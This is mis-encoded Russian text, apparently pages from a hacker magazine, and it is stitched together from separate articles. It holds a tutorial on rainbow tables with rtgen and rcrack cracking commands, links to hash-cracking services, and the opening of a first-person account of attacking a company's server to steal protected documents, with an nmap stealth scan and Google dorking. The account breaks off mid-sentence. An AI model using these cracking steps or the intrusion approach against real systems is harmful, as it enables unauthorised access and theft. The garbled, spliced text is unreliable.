ìàññèâà, èëè òàáëèöû ñ äâóìÿ êîëîíêàìè, â ïåðâîé èç êîòîðûõ íàõîäèò-
ñÿ íà÷àëüíûé êëþ÷ öåïî÷êè, à âî âòîðîé � êîíå÷íûé. Ïîñëå òîãî êàê öå-
ïî÷êè ñãåíåðèðîâàííû, ìîæíî óæå îñóùåñòâëÿòü â íèõ ïîèñê êëþ÷à. Ðå-
àëèçóåòñÿ ýòî ñëåäóþùèì îáðàçîì.
Çàäàåòñÿ çíà÷åíèå õýø-ôóíêöèè, äëÿ êîòîðîãî íåîáõîäèìî ïîëó÷èòü
êîëëèçèþ. Ïðè ïîìîùè ñðåçàþùåé ôóíêöèè R ñòðîèòñÿ çíà÷åíèå êëþ-
÷à K0, èç êîòîðîãî âûâîäèòñÿ ïî îïèñàííîìó àëãîðèòìó öåïî÷êà ïîèñ-
êà äëèíîé íå áîëåå ÷åì t ýëåìåíòîâ. Åñëè â òàáëèöå åñòü èñêîìûé
êëþ÷, òî îäèí èç ñãåíåðèðîâàííûõ ýëåìåíòîâ íîâîé öåïî÷êè áóäåò ÿâ-
ëÿòüñÿ òåðìèíàëüíûì ýëåìåíòîì íàøåé òàáëèöû. Äàëåå íå ñîñòà-
âëÿåò òðóäà ïî èçâåñòíîìó íà÷àëüíîìó ýëåìåíòó âûâåñòè âñþ ñîîò-

Â ñòàòüå ðàññìàòðèâàëàñü,
ðàçóìååòñÿ, ïðèáëèæåííàÿ
ìîäåëü, íà ïðàêòèêå âñå
÷èñëåííûå õàðàêòåðèñòèêè
ìîãóò ñåðüåçíî îòëè÷àòüñÿ
îò ïðîãíîçèðóåìûõ. Ýòî
îñîáåííî êàñàåòñÿ âðåìåíè
ïîèñêà: òóò âñå çàâèñèò îò
îáúåìà îïåðàòèâíîé ïàìÿ-
òè, ïîñêîëüêó àêòèâíûé
ñâîïèíã íå ïî-äåòñêè òîð-
ìîçèò ïðîöåññ.

Ñåðâèñû ïî âçëîìó õýøåé:
http://passcracking.com,
http://sarcaprj.way-
reth.eu.org. Èíòåðåñíûå äî-
êóìåíòû äëÿ ÷òåíèÿ:
www.antsight.com/zsl/rain-
bowcrack/rcracktutorial.htm,
http://las-
ecwww.epfl.ch/pub/las-
ec/doc/Oech03.pdf,
http://cryptography.hyper-
link.cz/md5/MD5_colli-
sions.pdf.

âåðîÿòíîñòíàÿ ïîâåðõíîñòü, êîòî-
ðàÿ äàåò ïðåäñòàâëåíèå î òîì,
êàê íàäî âûáèðàòü ïàðàìåòðû

ïîâåðõíîñòü äëÿ äðóãèõ ïàðàìåòðîâ è ñ äðó-
ãîãî ðàêóðñà íàïîìèíàåò âîäîïàäèê :)
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íè÷åãî êàðäèíàëüíî íîâîãî: ïðè ðîñòå ðàçìåðîâ òàáëèöû âåðîÿòíîñòü
P* ïðàêòè÷åñêè ïåðåñòàåò óâåëè÷èâàòüñÿ. Ïî ýòîé ïðè÷èíå äëÿ ýôôåê-
òèâíîãî èñïîëüçîâàíèÿ ìåòîäà íåîáõîäèìî ñîçäàâàòü íåñêîëüêî òà-
áëèö, ñãåíåðèðîâàííûõ íåçàâèñèìûì îáðàçîì. Â ýòîì ñëó÷àå îáùàÿ âå-
ðîÿòíîñòü óñïåõà (P) âûðàæàåòñÿ òàê: P=1-(1-P*)^l, l � ÷èñëî òàáëèö. Ýòó
ôîðìóëó î÷åíü ëåãêî ïîëó÷èòü èç ïðîñòåéøèõ ñîîáðàæåíèé: (1-P*) �
ýòî âåðîÿòíîñòü òîãî, ÷òî ìû íå íàéäåì êëþ÷ â îäíîé èç òàáëèö; (1-P*)^l
� âåðîÿòíîñòü, ÷òî âîîáùå íå íàéäåì êëþ÷ íè â îäíîé èç l òàáëèö. Ñî-
îòâåòñòâåííî, âåðîÿòíîñòü îáðàòíîãî ñîáûòèÿ � ýòî P=1-(1-P*)^l.
Ñëåäóåò îòìåòèòü, ÷òî ýòà ôîðìóëà âåðíà ëèøü â òîì ñëó÷àå, åñëè îáåñ-
ïå÷åíà íåçàâèñèìîñòü ãåíåðàöèè òàáëèö, òî åñòü äëÿ êàæäîé òàáëèöû
âûáðàíà ñîáñòâåííàÿ, óíèêàëüíàÿ ñðåçàþùàÿ ôóíêöèÿ R.

[êîíêðåòíûå âåùè] Äóìàþ, òî, ÷òî ÿ ðàñ-
ñêàçàë òåáå, áóäåò äîñòàòî÷íî äëÿ ïîíèìàíèÿ
áîëåå ïðàêòè÷åñêèõ âåùåé. Äàâàé ïîçíàêî-
ìèìñÿ ñ êîíêðåòíûì ñîôòîì, íàó÷èìñÿ ñ íèì
ðàáîòàòü è, âîîáùå, ïîíþõàåì ýòè ðàäóãè â
òàáëèöàõ. Íà ñàìîì äåëå, â Ñåòè íå òàê óæ è
ìíîãî èíôîðìàöèè î rainbow tables: åñëè òû
ïîèùåøü èíôó â ãóãëå, òî, ïî ñóùåñòâó, óâè-
äèøü òîëüêî îäíó ñîäåðæàòåëüíóþ ññûëêó �
www.antsight.com/zsl/rainbowcrack. Îäíàêî
ñìåþ òåáÿ çàâåðèòü, åå íàì áóäåò ïðåäîñòà-
òî÷íî! Ýòî ñàéò ïðîåêòà ñ ãîâîðÿùèì íàçâàíè-
åì RainbowCrack, ãëàâíàÿ öåííîñòü êîòîðîãî
íàõîäèòñÿ â ðàçäåëå Downloads. Òàì ïðåäëà-
ãàåòñÿ ñêà÷àòü ñîôòèíó, ñ ïîìîùüþ êîòîðîé
ìîæíî ãåíåðèðîâàòü öåïî÷êè êëþ÷åé, è âçëà-
ìûâàòü ïðè ïîìîùè óæå ñîçäàííûõ òàáëèö

êîíêðåòíûå õýøè. Ñîôòèíà ïîñòà-
âëÿåòñÿ â òîì ÷èñëå è â èñõîäíûõ
êîäàõ, òàê ÷òî ïðè íàëè÷èè ó òåáÿ
æåëàíèÿ è íåîáõîäèìîãî îïûòà
ìîæíî áóäåò îçíàêîìèòüñÿ ñ êîí-
êðåòíîé ðåàëèçàöèåé âñåãî òîãî,
î ÷åì ìû ãîâîðèëè âûøå. Ìû æå â
ýòîé ñòàòüå ïðîñòî íàó÷èìñÿ
ïîëüçîâàòüñÿ ýòîé ïðîãðàììîé
äëÿ ãåíåðàöèè rainbow-òàáëèö è
âçëîìà õýøåé. Ïîä FreeBSD ñî-
áðàòü ýòó ïðîãðàììó ó ìåíÿ íå ïî-
ëó÷èëîñü, è ïîýòîìó ÿ ðåøèë âñå

ýêñïåðèìåíòû ïðîâîäèòü íà âèí-
äîâîé ìàøèíå � áëàãî íà ñàéòå
ëåæèò óæå ãîòîâûé áèíàðíèê, è
ïàðèòüñÿ ñ êîìïèëÿöèåé íå íóæ-
íî. Ïîñëåäíÿÿ âåðñèÿ ñèñòåìû �
1.2, îíà ïîääåðæèâàåò ðàáîòó ñ
õýøàìè LanManager, md5, sha1, à
òàêæå ïîçâîëÿåò ïîëüçîâàòåëþ
ëåãêî ïðèêðó÷èâàòü ê ïðîãðàììå
ñâîè ñîáñòâåííûå àëãîðèòìû, êî-
òîðûõ íåò â áàçîâîì ñïèñêå.
Ñêà÷àâ ñ ñàéòà àðõèâ ñ áèíàðíèêà-
ìè, òû íàéäåøü âíóòðè íåñêîëüêî
áèíàðíûõ ôàéëîâ. Íàñ ñåé÷àñ

áîëüøå âñåõ èíòåðåñóåò rtgen � èìåííî ýòà ïðîãðàììà ãåíåðèðóåò öå-
ïî÷êè ñèìâîëîâ. Äëÿ çàïóñêà ñîôòèíû íåîáõîäèìî óêàçàòü âñå òðåáóå-
ìûå ïàðàìåòðû òàêèì îáðàçîì:

rtgen lm alpha 1 7 0 2100 8000000 all

Çäåñü lm � ýòî èìÿ õýø-ôóíêöèè, alpha � ýòî äîïóñòèìûå â êëþ÷å
ñèìâîëû, â äàííîì ñëó÷àå ïðîñòî ëàòèíñêèå áóêâû (ABCDE-
FGHIJKLMNOPQRSTUVWXYZ). 1 è 7 � ýòî ìèíèìàëüíàÿ è ìàêñè-
ìàëüíàÿ äëèíà êëþ÷à, 0 � èäåíòèôèêàòîð òàáëèöû, 2100 � äëèíà
êàæäîé öåïî÷êè, à 8000000 � êîëè÷åñòâî öåïî÷åê. Âïîëíå ðåçîííûé
âîïðîñ:  ïî÷åìó óêàçàíû èìåííî òàêèå ÷èñëà, à íå äðóãèå. Â íàøåì
ñëó÷àå äëÿ ýòîé êîíôèãóðàöèè òàêèå íàñòðîéêè îïòèìàëüíû, îíè
îáåñïå÷èâàþò ïðèåìëåìîå âðåìÿ ãåíåðàöèè, ïîèñêà è îáúåì çàíè-
ìàåìîé ïàìÿòè. Ïîèñê òàêèõ îïòèìàëüíûõ çíà÷åíèé äëÿ ðàçëè÷íûõ
êîíôèãóðàöèé � øòóêà íåïðîñòàÿ, íî ìû ñ òîáîé ñåé÷àñ íàó÷èìñÿ
ýòîìó èñêóññòâó. Òåì áîëåå, ÷òî ó íàñ äëÿ ýòîãî âñå åñòü.

[àíàëèç ïàðàìåòðîâ] Ïðåæäå âñåãî íåîáõîäèìî îïðåäåëèòü, êàêèå
ïàðàìåòðû ìû ìîæåì ïîäêðó÷èâàòü, è íà ÷òî ýòî âëèÿåò. Ñîâåðøåííî
î÷åâèäíî, ÷òî ïîòðåáèòåëüñêèå ïàðàìåòðû (âåðîÿòíîñòü óñïåõà, îáúåì
çàíèìàåìîé ïàìÿòè è âðåìÿ ïîèñêà) çàâèñÿò îò äëèíû öåïî÷åê t, èõ êî-
ëè÷åñòâà m è ÷èñëà èñïîëüçóåìûõ òàáëèö l. Ìû çíàåì, êàê âûðàæàþòñÿ
÷åðåç ýòè ïàðàìåòðû âåðîÿòíîñòü P, íî íè÷åãî ïîêà íå ãîâîðèëè î òîì,
êàê îò íèõ çàâèñÿò âðåìÿ ïîèñêà T è îáúåì òàáëèö M. Ñ ðàçìåðîì òà-
áëèö âñå ïðîñòî, êàæäàÿ öåïî÷êà îïèñûâàåòñÿ òàêîé âîò ñòðóêòóðîé: 

struct RainbowChain {
uint64 nIndexS;
uint64 nIndexE;
};

Ïîýòîìó îáùèé îáúåì òàáëèöû èç m öåïî÷åê ñîñòàâëÿåò 16*m. Ñîîòâåò-
ñòâåííî, åñëè òàáëèöà âñåãî îäíà, òî îíè çàíèìàþò 16*m*l áàéò.
×òî êàñàåòñÿ âðåìåíè ïîèñêà õýøà, òî îíî âûðàæàåòñÿ òàê: t*t/(2*speed),
ãäå speed � ýòî ñêîðîñòü âû÷èñëåíèÿ õýøåé.
Òåïåðü ìîæíî íàëîæèòü íåêîòîðûå îãðàíè÷åíèÿ íà ýòè ïàðàìåòðû, íà-
ïðèìåð, ÷òîáû âðåìÿ ïîèñêà îðèãèíàëà äëÿ md5-õýøà áûëî íå áîëüøå
7000 ñåêóíä, è ïðè ýòîì ìåñòà ïîä òàáëèöû òðåáîâàëîñü íå áîëüøå 
10 Ãá. Òåîðåòè÷åñêè, ïî ýòèì ñâåäåíèÿì ìîæíî çàäàòü îáëàñòü, â êîòî-
ðîé óäîâëåòâîðÿþòñÿ âñå íàëîæåííûå îãðàíè÷åíèÿ. Íà ïðàêòèêå æå
âîçíèêàåò ïðîáëåìà ñ ÷èñëåííûì ðàñ÷åòîì âåðîÿòíîñòíîé ïîâåðõíîñòè.

Äåëî â òîì, ÷òî âåðîÿòíîñòü îáíàðóæåíèÿ õýøà â îäíîé òàáëèöå âûðàæà-
åòñÿ êàê 1-Ï(1-m[i]/N), ãäå Ï � ïðîèçâåäåíèå ïî i îò 1 äî t, äëèíû öåïî÷-
êè; m[i] � ÷èñëî íîâûõ ýëåìåíòîâ â i-îé öåïî÷êå. ×èñëà m[i] âû÷èñëÿþòñÿ
èòåðàòèâíî, êàæäîå ïîñëåäóþùåå çíà÷åíèå çàâèñèò îò ïðåäûäóùåãî, è, â
êîíå÷íîì èòîãå,  âñå îíè çàâèñÿò îò íà÷àëüíîãî. Ñàì ïîíèìàåøü, ÷òî ðàñ-
÷åò òàêîé êîíñòðóêöèè è åå ïåðåñ÷åò ïðè èçìåíåíèè íà÷àëüíîãî óñëîâèÿ
� çàäà÷à î÷åíü òðóäîåìêàÿ, êîìïüþòåð âîçèòñÿ íàä íåé äîëãî. Ðàññ÷è-

âíóòðè ôàéëà 
ñ îïèñàíèÿìè 
õýø-ôóíêöèé

âîò òàê ãåíåðèðóåòñÿ öåïî÷êà. Çà-
ïèñûâàþòñÿ òîëüêî íà÷àëüíûé è
êîíå÷íûé êëþ÷è

ãåíåðèðîâàíèå öåïî÷åê â ðàáî÷åì ðåæèìå

ÑÏËÎÈÒ ÎÎÒ HHOUSEOFDABUS
ÑÅÐÂÈÑÛ ÏÏÎ ÂÂÇËÎÌÓ ÕÕÝØÅÉ
Â Èíòåðíåòå åñòü íåñêîëüêî ýíòóçè-
àñòîâ, ïðåäîñòàâëÿþùèõ áåñïëàò-
íûå óñëóãè ïî áûñòðîé ðàñøèôðîâ-
êå õýøåé. Ýòè ðåáÿòà íå ïîæàëåëè
ñèñòåìíîãî âðåìåíè, ïàìÿòè è ìå-
ñòà íà äèñêå, ÷òîáû ïðåäîñòàâèòü

âîçìîæíîñòü áûñòðî ëîìàòü ïîïó-
ëÿðíûå õýøè. Ê ïðèìåðó, md5 ìîæ-
íî çà íåñêîëüêî ÷àñîâ ðàçäðàêîíèòü
íà http://passcracking.com. Ïðàâäà, ñ
òåõ ïîð, êàê îá ýòîì ñåðâèñå íàïè-
ñàëè â slashdot, êîëè÷åñòâî çàÿâîê,
à çíà÷èò, è âðåìÿ îæèäàíèÿ, ìíîãî-
êðàòíî âîçðîñëî. 

Åñëè æå òåáå íåîáõîäèìî ïîëîìàòü
LM HASH, îòïðàâëÿéñÿ íà http://sar-
caprj.wayreth.eu.org. 18750 ìåãàáàéò
ñ òàáëèöàìè ñäåëàþò âñþ ðàáîòó áû-
ñòðî è êà÷åñòâåííî. Çà âðåìÿ ðàáîòû
õîçÿèí ïðîåêòà ïîòåðÿë 1678875.57
ñåêóíä ìàøèííîãî âðåìåíè è ïîìîã
ðàçäðàêîíèòü 5445 õýøåé. 

ýòîò ñêðèïò äëÿ Maple ïîìîæåò
òåáå ïîýêñïåðèìåíòèðîâàòü



òàòü, êàê ìåíÿåòñÿ âåðîÿòíîñòü â çàâèñèìîñòè
îò ÷èñëà öåïî÷åê, èõ äëèíû è êîëè÷åñòâà òà-
áëèö, äàæå ñ áîëüøèì øàãîì, � âñå ýòî çàíè-
ìàåò ìíîãî âðåìåíè. Äà è ïîñòðîèòü ãðàôèê
ôóíêöèè òðåõ ïåðåìåííûõ � òîæå çàäà÷êà íàð-
êîìàíñêàÿ. Ïîýòîìó äëÿ ïîñòðîåíèÿ ãðàôèêà
âåðîÿòíîñòè íóæíî ïî î÷åðåäè ôèêñèðîâàòü îä-
íó èç ïåðåìåííûõ � íó, ñêàæåì, ÷èñëî òàáëèö.
Ïîíÿòíî, ÷òî ðàçóìíîå ÷èñëî � ÷òî-òî â ðàéîíå
òðåõ-÷åòûðåõ-ïÿòè. Åñëè çàôèêñèðîâàòü ýòîò ïà-
ðàìåòð, òî óæå ìîæíî ïîñòðîèòü âåðîÿòíîñòíóþ
ïîâåðõíîñòü è ñóäèòü îá îïòèìàëüíûõ ïàðàìå-
òðàõ. Íà ñêðèíå íåïîäàëåêó îòñþäà èçîáðàæåí
ïðèìåð òàêîé ïîâåðõíîñòè, êîòîðóþ ÿ ïîñòðîèë
â Maple. Òàì îò÷åòëèâî âèäíî äâå îñè � Mb è t.
Mb � ýòî îáúåì òàáëèö â ìåãàáàéòàõ, t � äëèíà
öåïî÷åê. Ñàìà ïîâåðõíîñòü îòîáðàæàåò, êàê ìå-
íÿåòñÿ âåðîÿòíîñòü ïî ýòèì ïàðàìåòðàì. Ñåêó-
ùàÿ ïëîñêîñòü ñîîòâåòñòâóåò âåðîÿòíîñòè 0.95.
Ñîîòâåòñòâåííî, äëÿ âûïîëíåíèÿ ýòîãî óñëîâèÿ
òåáå íóæíî âûáèðàòü âñå òî÷êè, ëåæàùèå íàä
ñåêóùåé ïëîñêîñòüþ èëè ïðÿìî íà ëèíèè ïåðå-
ñå÷åíèÿ ïîâåðõíîñòåé. Ïðè ýòîì ó òåáÿ îñòàåòñÿ
âûáîð, êàêîìó èç ïàðàìåòðîâ îòäàòü ïðèîðèòåò
� çàíèìàåìîìó íà äèñêå ìåñòó, èëè âðåìåíè
ïîèñêà. Òóò ñëåäóåò åùå îòìåòèòü òàêîé ôàêò,
÷òî âðåìÿ ïîèñêà ðàññ÷èòûâàåòñÿ èñõîäÿ èç òî-
ãî, ÷òî âñÿ òåêóùàÿ òàáëèöà íàõîäèòñÿ â ïàìÿòè
êîìïüþòåðà, òî åñòü âðåìÿ äîñòóïà î÷åíü ìàëî
ïî ñðàâíåíèþ ñ âû÷èñëåíèåì õýø-ôóíêöèè. Ýòî
íàäî èìåòü â âèäó, íà ïðàêòèêå âñå ìîæåò áûòü
ñîâåðøåííî ïî-äðóãîìó. ×òî æå êàñàåòñÿ ïàðà-
ìåòðîâ, òî, íàâåðíîå ëó÷øå âñåãî áóäåò âçÿòü
çîëîòóþ ñåðåäèíó � òî÷êó, ãäå è ìåñòî, è âðåìÿ
«ñúåäàåòñÿ» ñðàâíèòåëüíî ìàëî. Îíà îòìå÷åíà
êðåñòèêîì íà ãðàôèêå.

[èñïîëüçóåì òàáëèöû] Èòàê, ñ âûáîðîì ïà-
ðàìåòðîâ äëÿ ãåíåðàöèè òàáëèö ìû ðàçîáðà-
ëèñü. À òàê ëè óæ ëåãêî èõ ñãåíåðèðîâàòü? Íó
íåò, êîíå÷íî, ñîâñåì íåëåãêî, ýòî îïÿòü çàíèìà-
åò êó÷ó âðåìåíè. Âåäü äëÿ ïîñòðîåíèÿ öåïî÷êè

èç 2000 ýëåìåíòîâ íóæíî âû÷èñëèòü ôóíêöèþ
ñòîëüêî æå ðàç. Íà ïðàêòèêå ýòî ìîæåò çàíèìàòü
ñóòêè, íåäåëè è äàæå ãîäà. Îäíàæäû, ïðîäåëàâ
òàêóþ ðàáîòó, ñãåíåðèðîâàííûå òàáëèöû ìîæíî
áóäåò âûãîäíî ñáûòü èëè èñïîëüçîâàòü äëÿ ñîá-
ñòâåííûõ íóæä. Ðàçóìååòñÿ, ìîæíî è íå çàìîðà-
÷èâàòüñÿ íàä ãåíåðàöèåé ñîáñòâåííûõ òàáëèö,
ìîæíî èõ ïðîñòî êóïèòü çà 500 äîëëàðîâ.
Ñåé÷àñ ÿ ðàññêàæó î òîì, êàê èñïîëüçîâàòü óæå
ñãåíåðèðîâàííûå òàáëèöû. Ïåðâûì äåëîì, äëÿ
óâåëè÷åíèÿ ñêîðîñòè ïîèñêà, èõ íóæíî ïåðå-
ñîðòèðîâàòü ïðè ïîìîùè óòèëèòû rtsort, â êà÷å-
ñòâå ïàðàìåòðà åé íóæíî ïðîñòî ïåðåäàòü èìÿ
ôàéëà ñ òàáëèöåé. Ïîñëå ýòîãî óæå ìîæíî çà-
ïóñêàòü óòèëèòó rcrack, êîòîðàÿ, ñîáñòâåííî, è
áóäåò ëîìàòü òâîé õýø, îòûñêèâàÿ åãî â ñãåíå-
ðèðîâàííûõ ðàíåå òàáëèöàõ. Çàïóñêàåòñÿ
rcrack ñëåäóþùèì îáðàçîì:

rcrack *.rt -h 5d41402abc4b2a76b9719d911017c592

Âìåñòî *.rt ìîæíî óêàçàòü êîíêðåòíûå èìåíà
ôàéëîâ ñ òàáëèöàìè. Åñëè æå òåáå íóæíî ñëî-
ìàòü öåëûé ôàéë ñ õýøàìè, ïðîñòî óêàæè åãî
èìÿ ïîñëå ôëàãà -l.

[çàêëþ÷åíèå] Íó âîò è âñå, ïîæàëóé, î ÷åì ÿ
õîòåë òåáå ñåãîäíÿ ðàññêàçàòü. Òåïåðü òû õîòÿ
áû íà ïàëüöàõ çíàåøü, êàê ðàáîòàþò ýòè òàáëè-
öû-ðàäóãè, êàêîé åñòü ñîôò äëÿ èõ ñîçäàíèÿ, èñ-
ïîëüçîâàíèÿ, è êàê ñ èõ ïîìîùüþ ëîìàþò õýøè.
À òî âåäü åùå â÷åðà îá ýòîì è ïîíÿòèÿ íå èìåë,
âåðíî? Òàê ÷òî ÿ ñäåëàë ñâîþ ðàáîòó. Åñëè çàèí-
òåðåñîâàëñÿ ýòîé òåìîé, òî íà äèñêå ëåæèò íåñ-
êîëüêî îðèãèíàëüíûõ äîêóìåíòîâ, íàáîð íåîáõî-
äèìîãî ñîôòà è ìîé Maple-ñêðèïò äëÿ òåñòèðîâà-
íèÿ ïàðàìåòðîâ. Åùå íàäî ñêàçàòü, ÷òî íåêîòî-
ðûå ðàññóæäåíèÿ ÿ ïðèâîäèë â óòðèðîâàííîì âè-
äå, è íà ñàìîì äåëå, èçëîæåííàÿ ìîäåëü íåìíî-
ãî îòëè÷àåòñÿ îò òîé, ÷òî èñïîëüçóåòñÿ â Rainbow
Crack. Íî òàê è äîëæíî áûòü � ìåæäó òåîðèåé è
ïðàêòèêîé âñåãäà åñòü íåáîëüøîé çàçîð 

ÊÀÊ ÏÏÐÈÊÐÓÒÈÒÜ ÑÑÂÎÞ ÕÕÝØ-ÔÔÓÍÊÖÈÞ
Ïðîñòî âîïðîñ èç FAQ :). Íà ñàìîì äåëå, ýòî àêòóàëüíàÿ ïðîáëåìà. Ïðîèçâîäè-
òåëè âêëþ÷èëè â ñïèñîê ïîääåðæèâàåìûõ ôóíêöèé òîëüêî òðè ñàìûõ ïîïóëÿð-
íûõ: md5, lm è sha1. ×òîáû äîáàâèòü êàêîé-òî äðóãîé àëãîðèòì, íóæíî âíåñòè
íåáîëüøèå èçìåíåíèÿ â èñõîäíèê RainbowCrack. Îòêðîé ôàéë HashRoutine.cpp
è äîáàâü òóäà ñëåäóþùèå ñòðîêè:

CHashRoutine::CHashRoutine()
{

AddHashRoutine("ownhash", CoolHash, 16);
}

Ïðîòîòèï ôóíêöèè AddHashRoutine:

void AddHashRoutine(string sHashRoutineName, HASHROUTINE pHashRoutine, int nHashLen)

Çäåñü sHashRoutineName � íàçâàíèå äîáàâëÿåìîãî àëãîðèòìà, ïðè÷åì, êàê ïè-
øóò â äîêóìåíòàöèè, íå ñëåäóåò èñïîëüçîâàòü ñèìâîë «_»; nHashLen � äëèíà
ãåíåðèðóåìîãî õýøà; pHashRoutine � óêàçàòåëü íà õýø-ôóíêöèþ:

typedef void (*HASHROUTINE)(unsigned char* pPlain, int nPlainLen, unsigned char* pHash);

Òóò pPlain � øèôðóåìûé òåêñò, nPlainLen � äëèíà ýòîé ñòðîêè, à pHash �
ññûëêà, êóäà çàïèñûâàåòñÿ çíà÷åíèå õýø-ôóíêöèè. Ðàçóìååòñÿ, íåîáõîäèìî
òàêæå îïèñàòü ñàìó õýø-ôóíêöèþ � CoolHash � ëó÷øå âñåãî ýòî ñäåëàòü ðÿ-
äîì ñ îñòàëüíûìè ôóíêöèÿìè â ôàéëå HashAlgorithm.cpp, ðàçìåñòèâ ïðîòî-
òèï â HashAlgorithm.h.
Ïîñëå ýòîãî íóæíî ïåðåñîáðàòü RainbowCrack è ïîïðîáîâàòü äîáàâëåííûé àëãî-
ðèòì â äåéñòâèè, âîò òàê:

rtgen ownhash loweralpha 1 7 0 100 16 test



ÍÀ ×ÀÑÀÕ 4 ×ÀÑÀ ÓÒÐÀ,  ÇÀ ÎÊÍÎÌ � ÒÅÌÅÍÜ, ÕÎËÎÄ,
È ËÜÅÒ ÄÎÆÄÜ. ÍÀ ÌÎÍÈÒÎÐÅ ÌÎÐÃÀÅÒ ÇÍÀ×ÎÊ ÇÀÃ-
ÐÓÆÀÞÙÅÉÑß ÂÈÍÄÛ, À Â ÌÎÅÉ ÍÅÒÐÅÇÂÎÉ ÃÎËÎÂÅ
ÇÐÅÅÒ ÏËÀÍ ÍÀ ÎÑÒÀÒÎÊ ÍÎ×È: ÑÎÂÅÐØÅÍÍÎ ÎÏÐÅ-
ÄÅËÅÍÍÎ, ÌÍÅ ÕÎ×ÅÒÑß ÐÀÇÌßÒÜ ÏÀËÜÖÛ È ÏÎËÎ-
ÌÀÒÜ ÊÀÊÎÉ-ÍÈÁÓÄÜ ÑÒÎßÙÈÉ ÑÅÒÅÂÎÉ ÏÐÎÅÊÒ. ß
ÇÀÐßÄÈË Â ÁÐÀÓÇÅÐ ÑÂÅÆÈÉ ÀÍÎÍÈÌÍÛÉ ÏÐÎÊÑÈ-
ÑÅÐÂÅÐ È ÎÒÏÐÀÂÈËÑß ÍÀ ÏÎÈÑÊÈ ÑÂÎÅÉ ÁÓÄÓÙÅÉ
ÆÅÐÒÂÛ | _1nf3ct0r_ (dr.pascal@mail.ru)

Ïåðåéäÿ ïî êàêîìó-òî áàííåðó, ÿ ïîïàë íà æåëåçÿ÷íûé ñàéò è ìîå âíè-
ìàíèå íà âðåìÿ ïåðåêëþ÷èëîñü íà êðàñèâûå óñòðîéñòâà, îäèí òîëüêî
âçãëÿä íà êîòîðûå çàðÿæàë õàé-òåê ïîçèòèâîì. ß ÷èòàë îáçîðû âèäåî-
êàðò, ñìîòðåë êîíôèãóðàöèè ñèñòåìíûõ ïëàò è ïðèêèäûâàë öåíû, êàê
âíåçàïíî â ïðàâîì íèæíåì óãëó ýêðàíà ÷òî-òî çàìèãàëî � ïðèøëî ñîîá-
ùåíèå îò ìîåãî õîðîøåãî çíàêîìîãî. Ïðèÿòåëü ïðîñèë ïîìîùè â îäíîì
íåïðîñòîì äåëå. Åìó íóæíî áûëî ïîëîìàòü ñåðâåð ïîïóëÿðíîé êîìïüþ-
òåðíîé ôèðìû (åå íàçâàíèå ÿ îñòàâëþ â ñåêðåòå), è óïåðåòü îòòóäà ñïðÿ-
òàííûå îò âíåøíèõ ãëàç äàííûå. Òðåáóåìûå äîêóìåíòû, êàê ãîâîðèë ìîé
çíàêîìûé, äîñòóïíû òîëüêî èç ëîêàëüíîé ñåòè îðãàíèçàöèè ïî SMB è íà-
õîäÿòñÿ íà çàùèùåííîì ïàðîëåì ðåñóðñå. Ïîýòîìó óòÿíóòü èíòåðåñóþ-
ùèå ôàéëû ñíàðóæè, ÷åðåç êàêîé-íèáóäü ýëåìåíòàðíûé web-áàã, áûëî
íåâîçìîæíî. Ïî âñåìó âûõîäèëî, ÷òî íàäî áóäåò ðóòàòü ýòó ìàøèíó.

Ñâèðåïàÿ ñåòåâàÿ àòàêà

ß áûë â äîëãó ïåðåä ýòèì ÷åëî-
âåêîì, ê òîìó æå åãî ïðåäëîæå-
íèå ìåíÿ çàèíòåðåñîâàëî è ñ
òåõíè÷åñêîé òî÷êè çðåíèÿ � íå
êàæäûé äåíü äîâîäèòñÿ ëîìàòü
ïðîåêòû ñåðüåçíûõ êîìïàíèé.
Ïîýòîìó, îáãîâîðèâ íåêîòîðûå
äåòàëè îòíîñèòåëüíî èíòåðåñó-
þùèõ äîêóìåíòîâ, ÿ ïåðåøåë ê
àêòèâíûì äåéñòâèÿì ïî âçëîìó
ñåòåâîãî ðåñóðñà.

[íåñïîðòèâíûé âçëîì?]
Ïåðâûì äåëîì ÿ ðåøèë ïðîñêà-
íèðîâàòü ñàéò îðãàíèçàöèè (íà-
çîâó åãî www.example.org) ñ çà-
áóãîðíîãî øåëëà nmap'îì â ðå-
æèìå ñòåëñ-ñêàíà. Îêàçàëîñü,
÷òî íà ñåðâåðå äëÿ âíåøíåãî äîñòóïà îòêðûòî ìèíèìóì ïîðòîâ è, ñîâåð-
øåííî îïðåäåëåííî, àäìèíèñòðàòîð íîðìàëüíî íàñòðîèë ôàéðâîë.
Áðàíäìàóýð òàêæå áåçæàëîñòíî ðåçàë âåñü ICMP-òðàôèê � íè îäèí ïà-
êåò íå âåðíóëñÿ â îòâåò íà ìîé ping. Ïî âñåìó âûõîäèëî, ÷òî àäìèíèñò-
ðàòîð ýòîãî ñåðâåðà � àäåêâàòíûé ÷åëîâåê è íîðìàëüíî íàñòðîèë ôàéð-
âîë, áîëåå òîãî, áàííåðû ñòàíäàðòíûõ ñåðâåðîâ, îòêðûòûõ äëÿ äîñòóïà
èç èíåòà óêàçûâàëè íà òî, ÷òî âåðñèè äåìîíîâ ðåãóëÿðíî îáíîâëÿþòñÿ, è
àäìèí ñëåäèò çà íîâîñòíûìè ëåíòàìè. Òîãäà ÿ ðåøèë ïðèñìîòðåòüñÿ ê
ñàéòó îðãàíèçàöèè è ïîèñêàòü òàì áàæíûå ñêðèïòû � ìîæåò áûòü, òàì
ñòîèò äðåâíèé ôîðóì èëè êàêîé-íèáóäü äðóãîé áàæíûé äâèæîê.

[íåìíîãî ýêñòðèìà] Óâû, íî íè îäíîãî ïóáëè÷íîãî äâèæêà íà ñàéòå óñ-
òàíîâëåíî íå áûëî, äà è âîîáùå, áàæíûõ ñêðèïòîâ, êàê êàçàëîñü, çäåñü íå
áûëî â ïðèíöèïå. Âñå ðàáîòàëî êàê ÷àñû: óïðàâëÿþùèå çíà÷åíèÿ ïåðåäà-
âàëèñü ñêðèïòàì â âèäå ÷èñåë (www.example.org/about.php?param=32) è èõ
çíà÷åíèÿ êîððåêòíî ôèëüòðîâàëèñü îò ñïåöèàëüíûõ ñèìâîëîâ, òî åñòü íè-
êàêîé SQL-èíúåêöèè çäåñü íå áûëî è â ïîìèíå. ×òîáû äîëãî íå ìó÷èòüñÿ, ÿ
çàøåë íà google.ru è ïîïðîñèë åãî ïîèñêàòü CGI è PHP ñêðèïòû:
inurl:www.example.org filetype:CGI/PHP. Îäíàêî íè îäèí èç íàéäåííûõ ñêðèï-
òîâ íå ïîääàëñÿ ìîåìó äóðíîìó âëèÿíèþ: âñå ïðîãðàììû áûëè íàïèñàíû
âìåíÿåìûìè ðàçðàáîò÷èêàìè, è âèäèìûõ îøèáîê â íèõ íå áûëî. È òîãäà ÿ
